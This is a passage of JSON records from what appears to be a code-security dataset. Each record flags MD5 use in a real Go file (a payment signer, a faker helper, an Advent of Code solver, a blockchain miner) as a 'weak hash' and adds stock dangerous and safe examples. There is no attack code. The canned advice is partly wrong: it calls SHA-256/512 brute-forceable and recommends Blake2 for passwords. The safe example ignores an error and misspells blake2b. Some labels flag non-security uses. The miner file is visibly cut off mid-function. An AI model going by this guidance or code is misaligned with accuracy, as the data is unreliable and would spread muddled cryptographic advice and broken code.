\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"crypto/sha512\"\n\t\"fmt\"\n)\n\n// Sha1 get string sha1 hash\nfunc Sha1(str string) string {\n\treturn fmt.Sprintf(\"%x\", sha12.Sum([]byte(str)))\n}\n\n// Sha256 get string sha256 hash\nfunc Sha256(str string) string {\n\treturn fmt.Sprintf(\"%x\", sha256.Sum256([]byte(str)))\n}\n\n// Sha512 get string sha512 hash\nfunc Sha512(str string) string {\n\treturn fmt.Sprintf(\"%x\", sha512.Sum512([]byte(str)))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "14e2c49a58c68c1b2a707ca21e08fa38ef9bcf463d84922781c72821ec6f5a16", "license": {"spdx": ["Apache-2.0"], "repo": "dcsunny/qqchat", "path": "pay/sign_struct.go", "repo_head_hexsha": "d340fba0f4340ca44e8e177dd53737e2bf3735cf", "stack_hexsha": "482bac777a729104dab52fd044561a8921abb4d5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package pay\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"hash\"\n\t\"io\"\n\t\"reflect\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype SignStruct struct {\n\tElements map[string]string `json:\"elements\"`\n\tKeys []string `json:\"keys\"`\n\tToLower bool `doc:\"是否自动将key小写\"`\n\tTag string `json:\"tag\" doc:\"使用xml/json或者直接字段名\"`\n}\n\nfunc (this SignStruct) isValidType(kind reflect.Kind) bool {\n\tswitch kind {\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Uint, reflect.Uint8:\n\t\treturn true\n\tcase reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64, reflect.String, reflect.Bool:\n\t\treturn true\n\tcase reflect.Ptr:\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (this *SignStruct) fetchElem(tp reflect.StructField, value reflect.Value, tag string) {\n\tname := tag\n\tif len(name) < 1 {\n\t\tname = tp.Name\n\t}\n\tif this.ToLower {\n\t\tname = strings.ToLower(name)\n\t}\n\n\t// 排除空值\n\tif value.Interface() == reflect.Zero(value.Type()).Interface() {\n\t\treturn\n\t}\n\n\tswitch value.Type().Kind() {\n\tcase reflect.Int:\n\t\tthis.Elements[name] = strconv.FormatInt(value.Int(), 10)\n\tcase reflect.Int8:\n\t\tthis.Elements[name] = strconv.FormatInt(value.Int(), 10)\n\tcase reflect.Int16:\n\t\tthis.Elements[name] = strconv.FormatInt(value.Int(), 10)\n\tcase reflect.Int32:\n\t\tthis.Elements[name] = strconv.FormatInt(value.Int(), 10)\n\tcase reflect.Int64:\n\t\tthis.Elements[name] = strconv.FormatInt(value.Int(), 10)\n\tcase reflect.Uint:\n\t\tthis.Elements[name] = strconv.FormatUint(value.Uint(), 10)\n\tcase reflect.Uint8:\n\t\tthis.Elements[name] = strconv.FormatUint(value.Uint(), 10)\n\tcase reflect.Uint16:\n\t\tthis.Elements[name] = strconv.FormatUint(value.Uint(), 10)\n\tcase reflect.Uint32:\n\t\tthis.Elements[name] = strconv.FormatUint(value.Uint(), 10)\n\tcase reflect.Uint64:\n\t\tthis.Elements[name] = strconv.FormatUint(value.Uint(), 10)\n\tcase reflect.Float32:\n\t\tthis.Elements[name] = strconv.FormatFloat(value.Float(), 'f', -1, 32)\n\tcase reflect.Float64:\n\t\tthis.Elements[name] = strconv.FormatFloat(value.Float(), 'f', -1, 64)\n\tcase reflect.String:\n\t\tthis.Elements[name] = value.String()\n\tcase reflect.Bool:\n\t\tthis.Elements[name] = strconv.FormatBool(value.Bool())\n\tdefault:\n\t\tpanic(\"invalid type\")\n\t}\n\tthis.Keys = append(this.Keys, name)\n}\n\nfunc (this *SignStruct) genSignData(variable interface{}) (err error) {\n\tvalue := reflect.ValueOf(variable)\n\tif value.Kind() != reflect.Ptr {\n\t\terr = errors.New(\"invalid varibal to sign (need tobe pointer)\")\n\t\treturn\n\t}\n\tvalue = value.Elem()\n\t// 分配Map\n\tthis.Elements = make(map[string]string)\n\tthis.Keys = make([]string, 0)\n\treturn this.genSignDataImp(value)\n}\n\nfunc (this SignStruct) getTag(field *reflect.StructField) (tag string, tags []string) {\n\tif strings.ToLower(this.Tag) == \"xml\" {\n\t\ttag = field.Tag.Get(\"xml\")\n\t} else if strings.ToLower(this.Tag) == \"json\" {\n\t\ttag = field.Tag.Get(\"json\")\n\t}\n\n\ttags = strings.Split(tag, \",\")\n\tif len(tags) > 0 {\n\t\ttag = tags[0]\n\t}\n\treturn\n}\n\nfunc (this *SignStruct) genSignDataImp(value reflect.Value) (err error) {\n\tif value.Kind() != reflect.Struct {\n\t\terr = errors.New(\"invalid varibal to sign (need tobe struct)\")\n\t\treturn\n\t}\n\ttp := value.Type()\n\tcount := tp.NumField()\n\tif count == 0 {\n\t\treturn\n\t}\n\n\tfor i := 0; i < count; i++ {\n\t\tfield := tp.Field(i)\n\n\t\tif field.Anonymous {\n\t\t\tthis.genSignDataImp(value.Field(i))\n\t\t\tcontinue\n\t\t}\n\n\t\tif \"-\" == field.Tag.Get(\"sign\") {\n\t\t\tcontinue\n\t\t}\n\t\ttag, _ := this.getTag(&field)\n\t\tif tag == \"-\" {\n\t\t\ttag = \"\"\n\t\t}\n\n\t\tfieldTp := field.Type\n\t\tif !this.isValidType(fieldTp.Kind()) {\n\t\t\terr = fmt.Errorf(\"unsupport type %s\", fieldTp.String())\n\t\t\treturn\n\t\t}\n\n\t\tif fieldTp.Kind() == reflect.Ptr {\n\t\t\ttmpVar := value.Field(i)\n\t\t\tif tmpVar.IsNil() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tthis.fetchElem(field, tmpVar.Elem(), tag)\n\n\t\t} else {\n\t\t\tthis.fetchElem(field, value.Field(i), tag)\n\t\t}\n\t}\n\treturn\n}\n\nfunc (this SignStruct) Sign(variable interface{}, fn func() hash.Hash, apiKey string) (sign string, err error) {\n\tif err = this.genSignData(variable); err != nil {\n\t\treturn\n\t}\n\tsort.Strings(this.Keys)\n\tif fn == nil {\n\t\tfn = md5.New\n\t}\n\th := fn()\n\n\tfirstFlag := true\n\tfor _, k := range this.Keys {\n\t\tif !firstFlag {\n\t\t\tio.WriteString(h, \"&\")\n\t\t} else {\n\t\t\tfirstFlag = false\n\t\t}\n\t\tv := this.Elements[k]\n\n\t\tio.WriteString(h, k)\n\t\tio.WriteString(h, \"=\")\n\t\tio.WriteString(h, v)\n\t}\n\n\tif len(apiKey) > 0 {\n\t\tio.WriteString(h, \"&key=\")\n\t\tio.WriteString(h, apiKey)\n\t}\n\n\tsignature := make([]byte, h.Size()*2)\n\thex.Encode(signature, h.Sum(nil))\n\treturn string(bytes.ToUpper(signature)), nil\n\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "61c0096bd036d1b671f632d23b081c044bf6b24e9f6cd677065fc7e3644a9b63", "license": {"spdx": ["MIT"], "repo": "bhatipradeep/faker", "path": "hash.go", "repo_head_hexsha": "672f4a98191151326e8c7a99c9922e66b3de9552", "stack_hexsha": "a904e9add5505d7cd6c5c7170d6a609320973a9e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package faker\n\nimport (\n\t\"crypto/md5\"\n\t\"crypto/sha256\"\n\t\"crypto/sha512\"\n\t\"fmt\"\n)\n\n//Hash is the faker struct for Hashing Functions\ntype Hash struct {\n\tFaker *Faker\n}\n\n//SHA256 returns a random sha256 based random hashed string\nfunc (hash Hash) SHA256() string {\n\thashFunction := sha256.New()\n\trandomString := hash.Faker.Lorem().Word()\n\thashFunction.Write([]byte(randomString))\n\treturn fmt.Sprintf(\"%x\", string(hashFunction.Sum(nil)))\n}\n\n//SHA512 returns a random sha512 based random hashed string\nfunc (hash Hash) SHA512() string {\n\thashFunction := sha512.New()\n\trandomString := hash.Faker.Lorem().Word()\n\thashFunction.Write([]byte(randomString))\n\treturn fmt.Sprintf(\"%x\", string(hashFunction.Sum(nil)))\n}\n\n//MD5 returns a random MD5 based random hashed string\nfunc (hash Hash) MD5() string {\n\thashFunction := md5.New()\n\trandomString := hash.Faker.Lorem().Word()\n\thashFunction.Write([]byte(randomString))\n\treturn fmt.Sprintf(\"%x\", string(hashFunction.Sum(nil)))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "91acd15bd433c9c33f00fe678659d6dd8786afc220b0a2c42f07429db1c543fd", "license": {"spdx": ["MIT"], "repo": "aclemons/adventofcode-2016", "path": "day14/main.go", "repo_head_hexsha": "c52cd03cba3d0bff3b5209c92966e527a9923499", "stack_hexsha": "30f77460cb03d2f82e7dafef9db62bd37249d4a2", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 27, "entireCode": "// MIT License\n\n// Copyright (c) 2016 \n\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included in all\n// copies or substantial portions of the Software.\n\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n// SOFTWARE.\n\npackage main\n\nimport (\n\t\"bufio\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"os\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n)\n\nconst targetKey int = 64\n\nfunc BuildMatcher(count int) *regexp.Regexp {\n\tvar pattern = \"\"\n\tfor i := 0; i < 16; i++ {\n\t\thex := fmt.Sprintf(\"%x\", i)\n\n\t\tif i != 0 {\n\t\t\tpattern = pattern + \"|\"\n\t\t}\n\n\t\tpattern = fmt.Sprintf(\"%s%s\", pattern, strings.Repeat(hex, count))\n\t}\n\n\texpression, _ := regexp.Compile(pattern)\n\n\treturn expression\n}\n\nfunc SortedKeys(inputmap map[int]string) []int {\n\tsorted := make([]int, len(inputmap))\n\n\ti := 0\n\tfor k := range inputmap {\n\t\tsorted[i] = k\n\t\ti++\n\t}\n\n\tsort.Ints(sorted)\n\n\treturn sorted\n}\n\nfunc FindTriples(triple_pattern *regexp.Regexp, potential_map map[int]string, hash string, index int) {\n\tmatching_triples := triple_pattern.FindStringSubmatch(hash)\n\n\tif matching_triples != nil {\n\t\ttriple := matching_triples[0]\n\t\tpotential_map[index] = string(triple[0])\n\t}\n}\n\nfunc FindQuintuples(quintuple_pattern *regexp.Regexp, potential_map map[int]string, key_map map[int]string, hash string, index int) {\n\tmatching_quintuples := quintuple_pattern.FindAllStringSubmatch(hash, -1)\n\n\tif matching_quintuples != nil {\n\t\tfor _, quintuples := range matching_quintuples {\n\t\t\tfor _, quintuple := range quintuples {\n\t\t\t\tdigit := string(quintuple[0])\n\n\t\t\t\tsorted_keys := SortedKeys(potential_map)\n\n\t\t\t\tfor _, key := range sorted_keys {\n\n\t\t\t\t\tif (index - key) > 1000 {\n\t\t\t\t\t\tdelete(potential_map, key)\n\t\t\t\t\t} else if index != key {\n\t\t\t\t\t\tvalue := potential_map[key]\n\n\t\t\t\t\t\tif value == digit {\n\t\t\t\t\t\t\tdelete(potential_map, key)\n\n\t\t\t\t\t\t\tkey_map[key] = value\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc main() {\n\tscanner := bufio.NewScanner(os.Stdin)\n\n\tif !scanner.Scan() {\n\t\tpanic(\"Input?\")\n\t}\n\n\tsalt := scanner.Text()\n\n\t// go regex engine does not support backreferences\n\t// triple, _ := regexp.Compile(\"(\\\\.)\\\\1{2}\")\n\t// quintuple, _ := regexp.Compile(\"(\\\\.)\\\\1{4}\")\n\ttriple_pattern := BuildMatcher(3)\n\tquintuple_pattern := BuildMatcher(5)\n\n\tpotential_keys := make(map[int]string)\n\tkeys := make(map[int]string)\n\n\tpotential_stretched_keys := make(map[int]string)\n\tstretched_keys := make(map[int]string)\n\n\tvar remaining = 1000\n\n\tfor current_index := 0; remaining > 0; current_index++ {\n\t\tif len(keys) >= targetKey && len(stretched_keys) >= targetKey {\n\t\t\tremaining--\n\t\t}\n\n\t\thash := fmt.Sprintf(\"%x\", md5.Sum([]byte(fmt.Sprintf(\"%s%d\", salt, current_index))))\n\n\t\tvar stretched_hash = hash\n\t\tfor i := 0; i < 2016; i++ {\n\t\t\tstretched_hash = fmt.Sprintf(\"%x\", md5.Sum([]byte(stretched_hash)))\n\t\t}\n\n\t\tFindTriples(triple_pattern, potential_keys, hash, current_index)\n\t\tFindQuintuples(quintuple_pattern, potential_keys, keys, hash, current_index)\n\n\t\tFindTriples(triple_pattern, potential_stretched_keys, stretched_hash, current_index)\n\t\tFindQuintuples(quintuple_pattern, potential_stretched_keys, stretched_keys, stretched_hash, current_index)\n\t}\n\n\tsorted := SortedKeys(keys)\n\tstretched_sorted := SortedKeys(stretched_keys)\n\n\tfmt.Printf(\"The index which produces the %dth one-time pad key is %d\\n\", targetKey, sorted[targetKey-1])\n\tfmt.Printf(\"The index which produces the %dth one-time pad key using the strechted algorithm is %d\\n\", targetKey, stretched_sorted[targetKey-1])\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 27, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "1652063d08b5e08b7c727817202878b1c1d74f29b0cabe61c6fc3a5ed83c90e3", "license": {"spdx": ["MIT"], "repo": "meeej/BlockArt", "path": "ink-miner.go", "repo_head_hexsha": "8b422ed32d8e66c60d4af02cdefec7b9bc71d449", "stack_hexsha": "c1f6301a38d51a9f976b23b9222d02ed7caa39fb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 10, "entireCode": "package main\n\nimport (\n\t\"./blockartlib\"\n\t\"./miners\"\n\t\"./shape\"\n\t\"./shared\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"crypto/x509\"\n\t\"encoding/gob\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"log\"\n\t\"math/big\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/rpc\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\t\"os/exec\"\n\t\"./HTML\"\n\t\"encoding/csv\"\n\t\"bufio\"\n\t\"io\"\n\t\"strconv\"\n)\n\nvar outLog *log.Logger = log.New(os.Stderr, \"[miner] \", log.Lshortfile|log.LUTC|log.Lmicroseconds)\n\n//var miner = new(Miner)\n\ntype ValidatedOp struct {\n blockHash string\n valid bool\n}\n\ntype OpInfo struct {\n ValidateNum uint8\n ch chan ValidatedOp\n}\n\ntype Miner struct {\n\tSettings shared.MinerNetSettings\n\tBlockHashMap shared.BlockTree\n\tOperationHashMap shared.OperationMap\n\tInk shared.InkBank\n\tAccounts shared.AccountsTable\n\tPrivateKey *ecdsa.PrivateKey\n\tPublicKey *ecdsa.PublicKey\n\tStop chan bool\n\tBlockCh chan shared.Block\n\tOpCh chan shared.Operation\n OpSigChMap map[string]OpInfo\n OpSigChMapMux *sync.RWMutex\n\tCurrNextHash string\n\tMining bool\n\tCurrOperations []shared.Operation\n InvalidOperations []shared.Operation\n\tCurrOperationsMux *sync.RWMutex\n\tNeighbors *[]net.Addr\n}\n\n// CONSTANTS\nconst MAX_OPS_PER_BLOCK = 5\n\n//...........CALLS SERVER.............//\n\n//TODO: MOVE GET NODES TO HELPER LIB\n\nfunc exe_cmd(cmd string)string {\n\tfmt.Println(\"command is \",cmd)\n\t// splitting head => g++ parts => rest of the command\n\tparts := strings.Fields(cmd)\n\thead := parts[0]\n\tparts = parts[1:len(parts)]\n\n\tout, err := exec.Command(head,parts...).Output()\n\tif err != nil {\n\t\tfmt.Printf(\"%s\", err)\n\t}\n\tfmt.Printf(\"%s\", out)\n\treturn string(out)\n}\nfunc main() {\n\tminer := new(Miner)\n\n\tgob.Register(&net.TCPAddr{})\n\tgob.Register(&elliptic.CurveParams{})\n\n\tserverIpPort := os.Args[1]\n\tfmt.Println(\"serverIpPort\", serverIpPort)\n\tpublic:=os.Args[2]\n\tfmt.Println(\"public key\", public)\n\tprivate :=os.Args[3]\n\tfmt.Println(\"private key\", private)\n\tHTML.CreateFile(\"minerPrivateKey.txt\")\n\tHTML.WriteFile(\"minerPrivateKey.txt\", private)\n\tIP := os.Args[4]\n\tfmt.Println(\"Miner IP\", IP)\n\n\tprivKeyBytesRestored, _ := hex.DecodeString(private)\n\tprivate_key, _ := x509.ParseECPrivateKey(privKeyBytesRestored)\n\n\tpublKeyBytesRestored, _ := hex.DecodeString(public)\n\tpubkey, _ := x509.ParsePKIXPublicKey(publKeyBytesRestored)\n\tpublic_key := pubkey.(*ecdsa.PublicKey)\n\n\t//then register the miner to the server, fill in MinerInfo and instantialize empty MinerNetSettings\n\tserver, err := rpc.Dial(\"tcp\", serverIpPort)\n\texitOnError(\"ink-miner main\", err)\n\n\tln, err := net.Listen(\"tcp\", IP)//todo\n\taddr := ln.Addr()\n\texitOnError(\"miner listener\", err)\n\tfmt.Println(\"ink-miner address: \", addr)\n\t//HTML.CreateFile(\"minerAddr.txt\")\n\t//HTML.WriteFile(\"minerAddr.txt\", addr.String())\n\n\tRegister(server, &miner.Settings, addr, public_key)\n\tminer.PrivateKey = private_key\n\tminer.PublicKey = public_key\n\tfmt.Println(\"miner.go main() mns\", miner.Settings)\n\n\t// Send heartbeat to server\n\tgo sendHeartBeatHelper(server, miner.PrivateKey.PublicKey)\n\n\t// Get list of neighbours and start listener\n\tnodes := getNeighbors(server, miner.PrivateKey.PublicKey)\n\t// init miner\n\tminer.CurrOperations = make([]shared.Operation, 0)\n miner.InvalidOperations = make([]shared.Operation, 0)\n\tminer.CurrOperationsMux = &sync.RWMutex{}\n\tminer.Mining = false\n\t// miner.CurrNextHash = miner.Settings.GenesisBlockHash\n\tminer.Stop = make(chan bool, 1)\n\tminer.BlockCh = make(chan shared.Block)//, 1000)\n\tminer.OpCh = make(chan shared.Operation)//, 1000)\n miner.OpSigChMap = make(map[string]OpInfo)\n miner.OpSigChMapMux = &sync.RWMutex{}\n\tminer.BlockHashMap = shared.BlockTree{Mux: &sync.RWMutex{}, BlockHash: make(map[string]shared.Block), LongestChainHashes: make([]string, 1), Length: 1}\n\tminer.BlockHashMap.LongestChainHashes[0] = miner.Settings.GenesisBlockHash\n\tminer.BlockHashMap.BlockHash[miner.Settings.GenesisBlockHash] = shared.Block{Depth: 1}\n\tminer.OperationHashMap = shared.OperationMap{Mux: &sync.RWMutex{}, OpHash: make(map[string]shared.Operation)}\n\n\tgo miner.MinerRoutine()\n\t// go test(miner)\n\n\t// testVerifyOperation(miner)\n\tfmt.Println(\"harro1\")\n\tgo miners.StartListener(addr, &miner.BlockHashMap, &miner.Accounts, nodes, &miner.BlockCh, &miner.OpCh, miner.Settings.MinNumMinerConnections, server, &miner.PrivateKey.PublicKey, ln)\n\n\t// Setup rpc server for blockarlib\n\tclientApi := rpc.NewServer()\n\tclientApi.Register(miner)\n\tclientApi.HandleHTTP(\"/\", \"/debug\")\n // \"127.0.0.1:8080\"\n\tclientL, err := net.Listen(\"tcp\", IP)//todo\n fmt.Println(\"rpc server address for blockartlib: \", clientL.Addr())\n\tHTML.CreateFile(\"minerAddr.txt\")\n\tHTML.WriteFile(\"minerAddr.txt\", clientL.Addr().String())\n\texitOnError(\"ink-miner blockartliblistnener\", err)\n\thttp.Serve(clientL, nil)\n\n\t// set miner.HaveEnoughNeighbors = 1 if #neighbors >= min, else 0\n\n\t// send heartbeats to neighbors to see if they disconnected from server\n\n\t//work with the filled MinerNetSettings...\n\tfor {\n\t\ttime.Sleep(1000 * time.Millisecond)\n\t\tfmt.Println(alive)\n\t}\n\n}\n\nfunc Register(server *rpc.Client, settings *shared.MinerNetSettings, addr net.Addr, public *ecdsa.PublicKey) {\n\tmi := shared.MinerInfo{Address: addr, Key: *public}\n\terr := server.Call(\"RServer.Register\", mi, settings)\n\texitOnError(\"ink-miner Register\", err)\n}\n\nfunc getNeighbors(server *rpc.Client, publicKey ecdsa.PublicKey) *[]net.Addr {\n\tvar reply *[]net.Addr\n\terr := server.Call(\"RServer.GetNodes\", publicKey, &reply)\n\texitOnError(\"ink-miner getNeighbors\", err)\n\tfmt.Println(\"miner.go joinNetwork\", reply)\n\treturn reply\n}\n\n/*func serveNeighbors(ln net.Listener, clientApi *rpc.Server) {\n\tfor {\n\t\tfmt.Println(\"hello3\")\n\t\tconn, _ := ln.Accept()\n\t\tclientApi.ServeConn(conn)\n\t}\n}*/\n\n/*func isNeighbor(n net.Addr, list *[]net.Addr) bool {\n\tfor _, b := range *list {\n\t\tif b == n {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}*/\nvar alive = 0\n\nfunc sendHeartBeatHelper(server *rpc.Client, publicKey ecdsa.PublicKey) {\n\tfor {\n\t\talive++\n\t\treply := sendHeartBeat(server, publicKey)\n\t\ttime.Sleep(time.Duration(1500) * time.Millisecond)\n\t\tif !reply {\n\t\t\tfmt.Println(\"fuck\")\n\t\t\treturn\n\t\t}\n\n\t}\n}\n\nfunc sendHeartBeat(server *rpc.Client, publicKey ecdsa.PublicKey) bool {\n\tfmt.Println(\".\")\n\tvar reply bool\n\terr := server.Call(\"RServer.HeartBeat\", publicKey, &reply)\n\tif err != nil {\n\t\texitOnError(\"ink-miner sendHeartBeat\", err)\n\t}\n\treply = true\n\t//fmt.Println(\"miner.go sendHeartBeat\", reply)\n\treturn reply\n}\n\n//........EXPORTED CALLS to blockartlib............//\nfunc (m *Miner) InitializeLib(encryptedtoken *shared.OpenCanvasArgs, settings *shared.CanvasSettings) (err error) {\n\tfmt.Println(\"initializelib\")\n\t//validate the privatekey\n\tok := ecdsa.Verify(&m.PrivateKey.PublicKey, encryptedtoken.Str, encryptedtoken.R, encryptedtoken.S)\n\n\tif !ok {\n\t\treturn blockartlib.DisconnectedError(\"\")\n\t\t//add stuff to the tables in the client etc....\n\t}\n\t*settings = m.Settings.CanvasSettings\n\tfmt.Println(settings)\n\n\treturn\n}\n\nfunc (m *Miner) MakeSVGCanvas(blank interface{}, reply *[]map[string]string) (err error) {\n svgtrees := *reply\n for _, hash := range m.BlockHashMap.LongestChainHashes {\n shapeMap := make(map[string]string)\n blocks := m.TraceBlockToGenesis(hash)\n\n for _, block := range blocks {\n if block.Noop {\n continue\n }\n //\"\n shapeMap[string(op.Shape.D+op.Shape.Fill+op.Shape.Stroke)] = str\n }\n }\n }\n svgtrees = append(svgtrees, shapeMap)\n }\n *reply = svgtrees\n return\n}\n\nfunc (m *Miner) AddShape(args *shared.AddShapeArgs, reply *shared.AddShapeReply) (err error) {\n\tfmt.Println(\"addshape called\")\n\tsvgshape := args.ShapeSvgString\n\tfill := args.Fill\n\tvalidateNum := args.ValidateNum\n\tstroke := args.Stroke\n\t//checking the svgshapestring\n\tok, err := checkSVGString(svgshape, fill, args.Stroke)\n\tif !ok || err != nil {\n\t\tswitch err.(type) {\n\t\tcase blockartlib.InvalidShapeSvgStringError:\n\t\t\treply.ShapeHash=\"1\"\n\t\t\terr = blockartlib.InvalidShapeSvgStringError(\"svgshape\")\n\t\tcase blockartlib.ShapeSvgStringTooLongError:\n\t\t\treply.ShapeHash=\"2\"\n\t\t\terr = blockartlib.ShapeSvgStringTooLongError(\"svgshape\")\n\t\t}\n\t\treturn\n\t}\n\t//then check if we have enough ink\n\tvertexList, 